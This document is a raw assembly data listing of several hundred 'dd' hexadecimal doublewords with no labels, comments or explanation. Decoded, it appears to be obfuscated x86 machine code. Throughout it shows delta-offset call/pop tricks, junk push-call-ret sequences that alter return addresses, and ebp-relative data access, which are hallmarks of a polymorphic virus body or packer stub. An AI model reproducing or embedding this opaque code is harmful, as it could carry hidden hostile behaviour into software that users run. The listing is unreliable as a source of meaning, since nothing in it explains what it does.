		dd 1395858Dh, 605005E7h, 75A3BA66h, 0DE850h, 1560000h
		dd 78D1AF30h, 66A88B6Bh, 5EA428BBh, 4896158h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD29BD00h, 5E71159h, 2871B58Bh, 6A05E7h, 11E9h, 86EAEE00h
		dd 66E50420h, 68768D1Eh, 3B8BCC30h, 6A7FEEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F9C35545h, 0A985894Dh
		dd 8D05E722h, 0EAD7EE85h, 5C08305h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 26C35545h, 0A9B589F3h, 5005E722h
		dd 60F08A60h, 61F28B66h, 24048961h, 68C0Fh, 8D890000h
		dd 5E73179h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0D3E35FC3h, 0CDB5234Ch, 6A05E712h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0F7B70FD3h, 1A4D95FFh, 9D0905E7h, 5E7250Dh
		dd 0A4AA9D8Dh, 6A05EAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 11D9E5C3h, 0FF323B2Fh, 53006AD3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 65234E89h, 0D50175FAh, 96BE403Bh, 0FF4EADAFh, 0E714FD85h
		dd 1B50305h, 0E905E702h, 0A05h,	0E8h, 0ED815D00h, 5EAD7F8h
		dd 2A318D89h, 0BD8105E7h, 5E72715h, 7D0h, 123860Fh, 0B58B0000h
		dd 5E72091h, 6AD9D8Bh, 0EE8105E7h, 70C6B7BFh, 100E381h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8168C7C3h, 0A51410F6h, 0FDB0B1Ch,	0BB85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 1A233587h, 0EF6586E9h, 0BD832855h, 5EAD648h
		dd 4D840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 1E1C352h, 0E70A0195h
		dd 72E905h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 180424h, 55450000h, 40EBF1C3h, 6652096Fh, 5E692ABEh
		dd 0D64885C7h, 105EAh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0A90464C3h, 81E81427h
		dd 0BA0D7CBEh, 16E953h,	0B58B0000h, 5E711C5h, 0D64885C7h
		dd 5EAh, 0B5090000h, 5E72EF1h, 6AD9D8Dh, 81F905E7h, 0FFFEFF23h
		dd 0BD10BEFFh, 8B6676C4h, 0DB8C66F1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 28C35343h, 211BEF4Bh, 0F04C3F6h
		dd 8B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0D2BE66E8h, 2995FF9Bh, 6A05E713h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 613AC351h, 68F0Fh, 0B50B0000h, 5E7036Dh
		dd 5E950h, 0A9650000h, 8957AA66h, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 826A2BC3h
		dd 0F52AA82h, 68Dh, 18D8900h, 5E05E72Bh, 460E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0D40F3826h, 47BF4565h, 8900B0EEh, 0E70AB18Dh, 70E6F805h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 99C35646h
		dd 0B73FD324h, 8B665105h, 7E95EF0h, 0E9000000h,	55FA455Eh
		dd 71E4FD15h, 60DB58Bh,	0B60F05E7h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B58B7860h
		dd 5E71561h, 6BAh, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1B04h, 0C3504000h, 5101D935h, 0EF4B28C8h
		dd 0BD89C38Bh, 5E705A5h, 0F904E8C1h, 6AE2F766h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0FCBDC356h, 0B58B7B70h, 5E717C5h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3A1CEDC3h
		dd 0A0096590h, 0F9D24F3h, 0B82h, 5810F00h, 0BE000000h
		dd 2F6FDC71h, 9919D29h,	509305E7h, 763EA3BEh, 6A936Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 8DA858C3h, 0EBC1B9D0h, 0C8DBD89h, 0B5FF05E7h, 5E72715h
		dd 2C419589h, 95FF05E7h, 5E721C1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 99C35545h
		dd 0EEF06706h, 64540A26h, 11E944h, 0D6530000h, 0C68DEE39h
		dd 5BE1FAE9h, 0C889EB88h, 0B035F770h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 3810FEDh, 0F000000h,	70E6F1B7h, 7E9h, 92313700h, 0E6C739F1h
		dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0EEFEDEC3h, 9531D584h, 5E72299h, 255B58Bh
		dd 613C05E7h, 24F830Fh,	0B60F0000h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 881128FEh
		dd 31B58BF1h, 0BA05E724h, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 9FC35242h, 0F89FEBC6h, 6BDB0B6Bh
		dd 6AC38B4Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0F89FC353h, 6BDB0B6Bh,	9E9AA4Ch
		dd 74000000h, 84F8B25Dh, 0BBC9F42Fh, 6A04E8C1h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 907C357h, 0E727B18Dh, 0E2F76605h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 51C35040h, 6AD82BCCh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 6373C351h, 625F44D1h, 0BD01BF71h, 5E72991h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3CFF70Ah, 8B668EA8h,	0FD82BF7h, 12C88h, 0DFBE6600h
		dd 7B91Ch, 0C6810000h, 6BC6DF96h, 6A00C183h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 8551C350h, 91B58BCCh, 3B05E718h, 0EE860FD9h,	9000000h
		dd 0E708E1B5h, 399D8905h, 6605E715h, 6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B589CAC3h
		dd 5E71D81h, 0F04C1F6h,	0AC84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 22024028h
		dd 8529564Fh, 5E728F1h,	132995FFh, 5BF805E7h, 6AC32Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DE5354C3h, 1999E45Dh, 59B523CAh, 3D05E72Fh,	834h, 47860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BE6648C3h, 2AE916B3h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 2467C351h, 0D0BE6651h, 89C08B03h, 0E708C99Dh, 8BC38B05h
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 9B88EB79h, 0B92E96Eh, 0E724E5B5h, 0D19D0105h
		dd 0C705E708h, 0E71BA585h, 85359705h, 50006A15h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 1C657526h, 0EFC5332h, 0C08B6C21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 9FC35646h, 109D4A31h, 8BF78B66h
		dd 0E70475B5h, 15BD8105h, 0D005E727h, 0F000007h, 4A85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 85FF3C8Fh, 5E72715h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 46C35747h, 17D67957h, 8166BC61h
		dd 0FFC85CD6h, 0E72715B5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 122F3220h
		dd 0D1BD89A0h, 8905E707h, 0E70579BDh, 0C195FF05h, 6A05E721h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 90EAC351h, 8166D88Bh, 83DD59D6h, 0E71809BDh
		dd 840F0005h, 56h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0CFC35141h, 95EBE66h,	227E9h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0CACFE8E2h, 2EB20379h, 8D29AC0Ah, 5E72B69h, 188DB58Bh
		dd 0DF8C05E7h, 0C7F766F8h, 850F0004h, 1E8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2AC35545h, 0BA1DC736h
		dd 8589EB65h, 5E71925h,	6AFF2Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 9D8D92C3h, 5EAE1C5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A5C35343h
		dd 0D4BE662Fh, 0BE665043h, 1C895F70h, 35FF6424h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D6C35040h
		dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0BA35C350h,	0A98D29CDh
		dd 8B05E706h, 57006AC4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 63E8D690h, 0B589C274h, 5E70CD9h
		dd 0BC18589h, 0FE905E7h, 0A4000000h, 0BB7D0B75h, 0F0670699h
		dd 540A26EEh, 1CD4464h,	8F6400EBh, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0D8679E22h, 0E03A0CD4h, 6A04C483h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0B723C350h
		dd 91361C89h, 60B882B8h, 8E8F8h, 0D0080000h, 954A396Ah
		dd 8D89FB8Dh, 5E72F11h,	0C00B6159h, 6E840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0BD2F83C3h, 90D06E90h, 24BD8DBBh, 8B05E74Dh,	0E724A9B5h
		dd 5B805h, 8B0F0000h, 3, 0FFF7B70Fh, 0F68166E7h, 8B57AF6Ch
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 0BEF18B66h, 762EC948h,	0FDE9CA2Bh
		dd 8BFFFFF5h, 8BC18BF0h, 4EBF1h, 8B000000h, 0E70329B5h
		dd 8DF98B05h, 0E7139585h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0CAF96060h
		dd 11E91E63h, 0F5000000h, 6CF2B1E4h, 0ED8028B7h, 6492C2DDh
		dd 0B12B3DAAh, 7E890h, 6F850000h, 57F24A04h, 90BF6645h
		dd 90505FB0h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	99C35343h, 61953608h, 0A3CC68D2h, 0A5BD8BD1h, 0F05E729h
		dd 0A8Fh, 0F98A6000h, 170D9D8Bh, 6A6105E7h, 6AF500h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9CC35545h, 8B665EBCh
		dd 758529FEh, 8D05E727h, 0EAE3E585h, 0CE805h, 0C3000000h
		dd 775B2631h, 2D1F9E9h,	0BF6669C9h, 835E6AECh, 0BD0305C0h
		dd 5E70389h, 0AE99589h,	669005E7h, 9050F38Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FBC35242h, 53B45A6Fh
		dd 0BE66C33Eh, 6A44D5h,	840Fh, 6A0000h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 36C35141h, 0E0F31C34h
		dd 0D1BD0B25h, 0FF05E72Bh, 0E71A4D95h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0A7F8EB09h, 0AA9D8DEAh, 6A05EAA4h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F843C350h
		dd 661A2C4Fh, 660A46BFh, 0D3FFF38Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 8FC35747h, 628176B4h, 0A867EEF3h
		dd 0DDB58BE2h, 0F05E71Fh, 385h,	0FEB70F00h, 14FD85FFh
		dd 870F05E7h, 6, 1A39B533h, 3BE905E7h, 0E8000008h, 0
		dd 0EFED815Dh, 2B05EAE3h, 0E7041DBDh, 15BD8105h, 0D005E727h
		dd 0F000007h, 17386h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 817BD98Fh, 0FA1F23EFh
		dd 6850F67h, 8B000000h,	0E707E1BDh, 35B50B05h, 8B05E704h
		dd 0E707959Dh, 20D78105h, 96813B0h, 0E71C6D85h,	0E38105h
		dd 0F000001h, 0DB0BF1BFh, 0BE850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0CB1988C3h
		dd 83787F3Fh, 0EAE1FEBDh, 840F0005h, 59h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 2DC35747h, 21FA2900h
		dd 0DD678920h, 8FE9C4h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 4396E5C3h, 573F333Eh
		dd 6E972A8h, 9E000000h,	0A17877B4h, 0FE85C700h,	105EAE1h
		dd 0F000000h, 4EE9F6BFh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F3B2C353h
		dd 0B7B9BF3Eh, 5F506D50h, 0E1FE85C7h, 5EAh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B48A4C3h, 959D8DF7h, 8B05E707h, 0FF2381F8h,	6AFFFFFEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0BD5C351h, 502B961Dh, 0A0A11824h,	66DB8C66h
		dd 9F87CE81h, 0F04C3F6h, 3384h,	1FAFBF00h, 95FF4FDEh, 5E71329h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 21C35343h
		dd 0F38B6690h, 0B52B9050h, 5E71A5Dh, 4A0E9h, 6E800h, 133A0000h
		dd 555E790Fh, 269B50Bh,	0B05E05E7h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 7BB8D006h
		dd 0E6AAEC2Dh, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 50CB1C6Ch, 94561504h
		dd 0B5299A9Bh, 5E72C05h, 0F68171E4h, 735A9306h,	0BED8B60Fh
		dd 7F66590Ch, 0BAF7B70Fh, 6, 0BE9h, 0EE7AFD00h,	0AD656C48h
		dd 71B3E298h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 2E6744C3h, 5850FA5h, 66000000h
		dd 0CC7CEF81h, 0E904E8C1h, 0Dh,	0B334AA7h, 6F6046A3h, 77169F29h
		dd 0E2F766BAh, 3285BD0Bh, 0D82B05E7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 64C35242h, 0ED87D565h, 892CF88Ah
		dd 0E718558Dh, 17BE5005h, 895F5706h, 0BE8241Ch,	0F3000000h
		dd 8DB98452h, 4E6EE657h, 0B58B00FAh, 5E701A9h, 15B5FF5Fh
		dd 6A05E727h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 7F73C353h, 0B660770Ch,	0BD8B51CCh
		dd 5E724B1h, 21C195FFh,	6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0EF8438C3h, 316DFBAh
		dd 0E7044DBDh, 5CBE6605h, 6A00B0CDh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4FAC352h
		dd 427A99F7h, 50CF810Bh, 0E61B0900h, 51006A70h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0BA666073h
		dd 6660D6C8h, 0CA27D881h, 6161C88Bh, 3298D31h, 71E405E7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 27C35040h
		dd 0B58BA4B3h, 5E71C41h, 0AE9h,	93461400h, 0AEFD4A9h, 3C5D45D3h
		dd 86830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0F241C350h,	0B60FF78Bh
		dd 0FDB50BD8h, 0BA05E71Ch, 6, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 3BC35141h, 0B49E75Eh, 99B58BD1h
		dd 8B05E711h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 89558F08h, 0E7278585h, 4E8C105h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4AC35747h
		dd 14E9BB42h, 51000000h, 29DB313Eh, 0CA151033h,	7A47DBD7h
		dd 0AF522E0h, 0F56FD6C1h, 29A58589h, 0F76605E7h, 665153E2h
		dd 5E5FF98Bh, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 28EDEDC3h, 10E8h, 0E7C1400h, 9A813EA1h
		dd 37B3A8EEh, 36965EC8h, 0B3D681DBh, 5E118379h,	49958958h
		dd 2B05E718h, 76880FD8h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 364CC350h
		dd 0BD8B4AC1h, 5E708F1h, 7B9h, 29858900h, 8305E727h, 6A00C1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 853EBDC3h, 258D01E3h, 3B05E709h, 16860FD9h, 66000001h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FB549C3h, 682h, 19D78100h, 0F67E6B6Dh, 840F04C1h
		dd 0DFh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	46C35747h, 8B77EC88h, 0E72BB9BDh, 2995FF05h, 6A05E713h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 32E2C356h, 38A6AEE9h, 6A5B058Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0A16BC352h, 0B337D431h, 0F697B34h, 382h, 0F28B6600h
		dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 15AC5FC3h, 343DA6CEh, 0F000008h, 3686h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 7E8E85ABh, 4FF69C48h, 858943DAh, 5E70069h, 8E9h, 69850100h
		dd 8B05E701h, 8BC38BC0h, 21BD89D8h, 0C705E723h,	0E706AD85h
		dd 0A1EB7505h, 6AC08B32h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 8C0CC357h, 375F7F3Ch
		dd 29A9EDD4h, 0E7219185h, 0FD8D8905h, 8105E729h, 0E72715BDh
		dd 7D005h, 15850F00h, 66000000h, 850FF08Bh, 6, 0C9BBEE81h
		dd 85FF422Fh, 5E72715h,	2715B5FFh, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0FC2DCBC3h
		dd 0C18D8940h, 0FF05E713h, 0E721C195h, 85BD0305h, 9005E70Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h
		dd 0E98F093Ah, 0Ah, 2DD69FE9h, 60158619h, 0DE98064h, 0CF000000h
		dd 286AC9Ah, 4A469DB8h,	0C8B439ECh, 10E9F8h, 0B2560000h
		dd 87D7C663h, 0C788571Fh, 4D7FBA8Fh, 6A5135h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D01B7C3h
		dd 5E72B95h, 14E9h, 80BA7600h, 4DCD444Fh, 0BD91B50Bh, 674C1612h
		dd 3CFD0866h, 25B58BFEh, 8905E71Dh, 0E719E595h,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 9A98B520h, 0B58B578Fh, 5E706DDh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 19C35040h, 1D8476F1h
		dd 137D9529h, 0B53105E7h, 5E72D05h, 10E9h, 408C700h, 0AC97F48Dh
		dd 2ED02C8Dh, 0E854DE78h, 0F7D5E9C1h, 6052FFFFh, 21618D89h
		dd 5E6105E7h, 214DBD8Bh, 0C18B05E7h, 0FE9h, 0F82BBE00h
		dd 1644C267h, 9810007Eh, 4D98CEEFh, 4EBh, 0BD8B0000h, 5E706B1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 40C35646h
		dd 7AAD5F75h, 6669A43Eh, 52ACE6BFh, 17118589h, 8D5E05E7h
		dd 0E7139585h, 0A8AABF05h, 50503D3Bh, 2404895Eh, 72EF8166h
		dd 8B006A12h, 0E71BCDB5h, 6A006A05h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0ABACC350h
		dd 6890Fh, 0BD8B0000h, 5E71571h, 0EDFA858Dh, 6A05EAh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0C4165AC3h, 5C08354h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 4AC35343h, 0C209B7A3h, 0E82D9A06h, 12h
		dd 8CC93F05h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 0B70F6D8Dh
		dd 66905FFFh, 5050F88Bh, 0BE525052h, 739EBC87h,	0CE8310Fh
		dd 31000000h, 86355042h, 0A9B8BE39h, 5F0B92D3h,	310F585Ah
		dd 211BBF66h, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 548EC357h, 0CE8h, 6E83EE00h
		dd 0F888D2C1h, 0D19086DAh, 39B589DBh, 5E05E701h, 8B56006Ah
		dd 0E7037DB5h, 9D315E05h, 5E71379h, 0B58B006Ah,	5E71A85h
		dd 1A4D95FFh, 9D8D05E7h, 5EAA4AAh, 15850Fh, 10E90000h
		dd 0DD000000h, 0BC1064F0h, 610189F2h, 0D5397F06h, 0FF5C41E3h
		dd 57006AD3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0BD3E25AEh, 5DBD8BA9h, 0FF05E720h, 0E714FD85h
		dd 0B4CF8105h, 0E952EDCFh, 8CBh, 0E8h, 0ED815D00h, 5EAEE04h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h
		dd 0B131F4D7h, 85097FB5h, 5E70C41h, 2715BD81h, 7D005E7h
		dd 860F0000h, 1C1h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0B3C35747h, 1276D73Fh, 2A499589h, 9D8B05E7h
		dd 5E71A55h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	88C35343h, 12E993h, 0A7B60000h,	8D2E1F48h, 0D3E94186h
		dd 0EA2512D2h, 43A380Bh, 20A5B589h, 0E38105E7h,	100h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5C9D5E31h
		dd 68A0Fh, 0B5330000h, 5E71B49h, 988DBE50h, 0B5F284Dh
		dd 0A3850FDBh, 81000000h, 5888DBEFh, 4800F62h, 66000000h
		dd 83C3F8BEh, 0EAEC3DBDh, 840F0005h, 34h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 21C35747h, 8EBF013Eh
		dd 0E91449F8h, 6Ch, 2BFDB501h, 0B58B05E7h, 5E70BDDh, 0EC3D85C7h
		dd 105EAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E959B6C3h, 34h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 10C35343h, 0BF6D652Ch
		dd 0BE6689FFh, 85C70944h, 5EAEC3Dh, 0
		dd 0B92CBE66h, 1A559D8Dh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0E7CB61C3h, 0FEFF2381h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 201038C3h, 13E8AEh, 266E0000h, 9F5E638Ah
		dd 2DBFAB35h, 59481168h, 16A136ECh, 0E8806051h,	616160E1h
		dd 0DB8C665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	2BC35343h, 0F0E02B4h, 0C3F6EB4Ah, 62840F04h, 2B000000h
		dd 0E727B1B5h, 89B58B05h, 0FF05E72Dh, 0E7132995h, 18D8905h
		dd 5005E733h, 0AE8h, 583B8D00h,	37BFF599h, 660DBEB4h, 895EF98Bh
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 1FE54FC3h, 928F2FE5h, 0BE90Fh, 0E1170000h
		dd 0B072A28Eh, 0EF85B2F8h, 406E975h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0ACF4A4C3h
		dd 0A29F058h, 0BF6652CDh, 0B05E2BCBh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 9B5602ACh, 0BE13AE6Ch, 70BFF9DEh, 6A70E6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8BE515C3h
		dd 0E72755BDh, 0F71E405h, 582h,	0BF0F5600h, 0B60F5FF8h
		dd 418509D8h, 0BA05E724h, 6, 0C681C38Bh, 60600CE3h, 7E9h
		dd 4E799F00h, 291609D3h, 8904E8C1h, 0E70A818Dh,	0E2F76605h
		dd 5830Fh, 0B9BF0000h, 2B73D487h, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8BBC7D12h
		dd 0E71849BDh, 0E993FC05h, 5, 0F7369AF9h, 505050ABh, 310F5250h
		dd 5E5F585Ah, 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0B5FFB934h, 5E72715h, 2890Fh, 0F78B0000h
		dd 21C195FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 35DAD1C3h, 2934C1F8h, 0E712AD85h
		dd 0F00B005h, 8Dh, 59BD2300h, 0E605E72Fh, 57006A70h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0B58B2C1Dh, 5E721D9h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 50FC9DC3h, 5EC271AFh
		dd 613C3BE8h, 252830Fh,	0BD8B0000h, 5E719C9h, 6AD8B60Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 9FB1C350h, 9FD50D2Eh, 6BA8A22h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 8E48C356h, 0E8C38B0Bh, 0Ch, 59A5112Fh, 0E5202D67h
		dd 0E043608Ah, 3758C681h, 0C15F5BA1h, 13E904E8h, 0EF000000h
		dd 3F80CA04h, 9C95D3DAh, 0C6D135CDh, 637B0625h,	0F7668559h
		dd 0A9BD8BE2h, 2B05E70Bh, 56006AD8h, 3E8h, 0C35E2000h
